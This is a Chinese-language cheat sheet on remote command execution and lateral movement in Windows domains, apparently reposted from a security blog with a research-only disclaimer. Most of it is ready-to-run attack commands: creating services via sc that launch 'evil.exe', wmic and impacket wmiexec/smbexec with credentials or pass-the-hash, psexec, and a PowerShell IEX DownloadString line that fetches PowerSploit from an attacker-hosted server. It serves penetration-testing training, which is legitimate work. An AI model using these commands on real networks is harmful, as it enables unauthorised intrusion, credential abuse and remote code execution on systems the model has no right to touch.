域环境搭建
参考 https://blog.csdn.net/niexinming/article/details/75650128
开启admin
net share $ipc
net share $admin
直接执行
dir \IPc$
tasklist /S IP /U 用户 /P 密码
sc
sc \[HOST] create boom binpath= c:evil.exe
sc \[HOST] start boom
sc \[HOST] delete boom
wmic
wmic /node:172.18.16.172 /user:admin /password:password process call create "cmd.exe /c ipconfig>c:result.txt"
wmiexec.py
安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install
用户密码
python wmiexec.py 用户名:密码@目标IP
哈希传递
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
wmiexec.vbs
cscript.exe wmiexec.vbs /cmd 172.18.16.172 administrator password “command”
powershell工具
Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。
下载地址:https://github.com/PowerShellMafia/PowerSploit
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit-masterPowerSploit-masterCodeExecution
python –m SimpleHTTPServer
powershell
IEX(New-Object Net.Webclient).DownloadString('http://xx.xx.xx.xx//Invoke-WmiCommand.ps1')
$User = "域名用户名" // 指定目标系统用户名
$Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上
Invoke-WMIMethod.ps1(无回显)
Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。
$User="域名用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令
psexec
psexec.exe \ip –u 账号 –p 密码 cmd.exe /c ipconfig
smbexec
https://github.com/SecureAuthCorp/impacket
smbexec.py 用户名:密码@IP
参考文档
https://www.freebuf.com/articles/network/246440.html https://cloud.tencent.com/developer/article/1752145
作者:Leticia's Blog ,详情点击阅读原文。
本文始发于微信公众号(乌雲安全):域渗透中利用ipc命令执行总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论